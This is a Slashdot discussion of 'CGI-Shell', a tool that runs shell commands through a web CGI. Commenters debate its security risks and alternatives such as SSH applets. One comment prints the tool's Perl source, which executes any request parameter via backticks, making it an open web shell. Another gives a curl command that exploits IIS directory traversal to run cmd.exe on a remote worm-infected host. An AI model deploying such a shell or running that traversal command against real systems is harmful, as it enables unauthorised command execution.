Shell Simulation Via CGI

mischi writes "CGI-Shell simulates a shell using CGI. So everybody who has a CGI-directory on a web-server, also has its own shell on it -- comparable with Telnet or SSH. That's really practical, because most webhosters don't offer a shell (for free) -- but do offer CGI. With CGI-Shell you can execute commands, copy files or just explore your webserver. Even a history and auto-completion with tabulator are included. "

Re:security?

[smerritt]

Well, most CGIs run as the user ID of the web server, so unless something like Apache's suEXEC is being used, this is no substitute for having genuine shell access.

If two or more people on a server both install this, they can read and modify each other's files, etc. since the CGIs will be running as the same user.

Probable hosting service response.

[Minupla]

If I were a hosting service, I'd be visiting the creator of that with a LART. The big reason why hosting providers do not generally provide shell accounts is that its much much harder to harden a box against attempts from a non-root user to leverage their access to get root. I predict you'll see a lot of hosting providers move away from allowing CGI because of this and things like it. That was the policy at places I ran. You couldn't put up CGI without paying for one of the sysadmins to do a security check of the script.

Min

Re:Shell whores.

[Chaswell]

Oldest IRC channel control bot. The bot logs in, sits in a channel and manages ownership of the channel and protects the channel from take over. A bot of some sort is pretty important if some one plans to run a large channel for any length of time.

You can get more info here [eggheads.org].

Re:security?

[Gudlyf]

I haven't taken a look at it myself, but my first thought is that this is no more harmful than what any one line PHP script could do. So long as the web admins aren't idiots and have things setup the right way, they should have nothing to worry about.

Re:security?

[NivenHuH]

I'm not too familiar with CGI-Shell.. so.. take what I say lightly... Potential security problems: -Transmission of your user/pass in clear text (unless the script is ran via HTTPS) -Bad admins (there are a lot out there) run http as root.. which means root runs the cgi script. Unless the admin digs through the script to make sure it's free of exploits.. (which very few of the admins who run http as root do) it could do something like.. execute the shell as root or execute a priviledged shell (/sbin/sh on sun) -Even if http is running as it's own user, unless it's started in a chrooted jail, the script will have access to modify stuff the http user owns.. this means the http binaries, logs, etc.. I'm sure there are more things that can be exploited... I'm by far not a security expert.. I do know that reguardless of what kinda CGI script you put in place, it's always opening that much more of your box to a possible exploit.

Re:I've used something exatly like this for months

[stratjakt]

What I use has a list of commands it's allowed to run.

So you could limit it to ls, rm, mv, and cp with the users security level.

All it does is shell commands and pipe stdout back onto the form.

It's such a trivial script I'm surprised its newsworthy even by /.'s low standards.

Re:How about a Java ssh/telnet applet?

[iggymanz]

ssh java applets exist: http://javassh.org/

I like this idea better than a cgi-bin shell which might pass along naughty combinations of characters, and has everything in plain text to risk snooping.

lynx!?

[SHEENmaster]

if lynx and links won't work then screw this!

I give the hosted users of my server [frob.us] ssh access for the sole reason that it keeps them from running shit like this.

/etc/security/ contains all the settings needed to keep them from fucking stuff up. Before I configured process restrictions a user's chat server spun out of control, eventually spawning so many processes that the mouse didn't get enough processor time to move and there wasn't enough ram to start another login shell or http connection!

Despite the BOFH myths, which I am guilty of perpetuating, not all sysadmins are jackasses. So long as the sysadmin knows you and you promise not to abuse priveledges you can get everything short of root and /dev/dsp access.

If you really need shell access and don't want to risk losing your account just send your sysadmin a thinkgeek caffeine sampler and some shirts. Massive capacity SCSI disks are a great substitute.

Re:How about a Java ssh/telnet applet?

[CaptainStormfield]

A very quick and dirty Google search [google.com] produced numberous promising links. I tried the mindterm java app on a whim, and it worked quite well. If you are not completely paranoid, you can even use the link on their site to d/l the java applet, rather than taking up space on your web account.

Re:How about a Java ssh/telnet applet?

[spinkham]

They've been avalible for quite a few years, type "java ssh" into google for a whole mess of them...
TightVNC also includes a java client if you want to have a graphical remote connection.
I carry a business card size cd with putty and tightVNC and such on it to use most of the time though...

Reinventing the wheel...

[Hershmire]

This has already been done [appgate.com], and better (with SSH support, to boot).

Re:Doesn't IIS Already Have This?

[Q2Serpent]

Oh man, that's awesome. Kudos.

It just redirects the client making the request to try and load the given page from the local machine. Assuming that the client making the request (the worm) understands redirections, that line makes it attempt to load 127.0.0.1 (the local IIS server that the worm infected) with a URL that will exploit the local worm (hehe) and use rundll32 to shut down the client's windows machine.

If it works, it's brilliant. I'm not sure the worm reads redirects, though. Anyone actually witness this working?

Even better; use the Java Telnet Application

[macemoneta]

The Java Telnet Application [javassh.org] supports SSH, and if you require SSL and password access to the directory in your web server, you can be reasonably secure with the login.

BS

[mindstrm]

I'm as much of a unix nut as the next guy.. but NT's ACL system is far more robust and flexible than the traditional unix system... hands down.

Example: Can the standard unix permissions give access to everyone in group a,b, and c, except for user x who is also a member of groups b and c, and y, as well as ensuring that z has full access to everything? No, you can't.

If you allow your customers to upload their own cgis, this is merely a tool.

This IS a good tool.

Actually, that is EXACTLY what they've done

[Anonymous Coward]

I'm shocked at how incredibly stupid this is. I'm even more shocked that someone deemed it appropriate as a Slashdot story. This is the CGI, sans GPL license header:

#!/usr/bin/perl
use strict;
use CGI qw(:standard);
my $befehl = param("befehl");
my $ausgabe = `($befehl 2>&1)`;
chomp($ausgabe);
print <<ENDE;
Content-type: text/html
$ausgabe
ENDE

Re:Doesn't IIS Already Have This?

[YetAnotherDave]

nope, sorry, I have yet to see a work that honors redirects...

would be nice, tho

Re:Doesn't IIS Already Have This?

[Anonymous Coward]

It should run

curl http://$HISADDR/scripts/..%255c..%255cwinnt/system 32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindo wsEx%201

Shell != ability to run one command at a time

[Colz Grigor]

This CGI program that runs a command via back-ticks (i.e. `ls`) is not a shell by my standards.

A shell is more than the ability to run simple commands; it provides an environment to run commands, maintain a command-line history, spawn processes, store variables, etc.

And any good CGI Shell should also take output from the system command and format it into HTML that will display in a browser the same as it would in the shell.

Am I missing something here, or is this "cgi shell" thing really not newsworthy?

::Colz Grigor

This is new?

[Zone-MR]

Scripts like this for both perl and PHP have existed for quite some time. They basically rely on one command like exec or system. In essence they just run whatever you pass them and spit out the output.

Since this got so much publicity I was expecting something new, such as the ability to interact with interactive programs. But it seems this one lacks that feature aswell, in essence making it a poor substitute for a real shell. Pico, micq, bitchx, su, passwd, any interactive program is UNUSABLE.

That is its biggest limitation.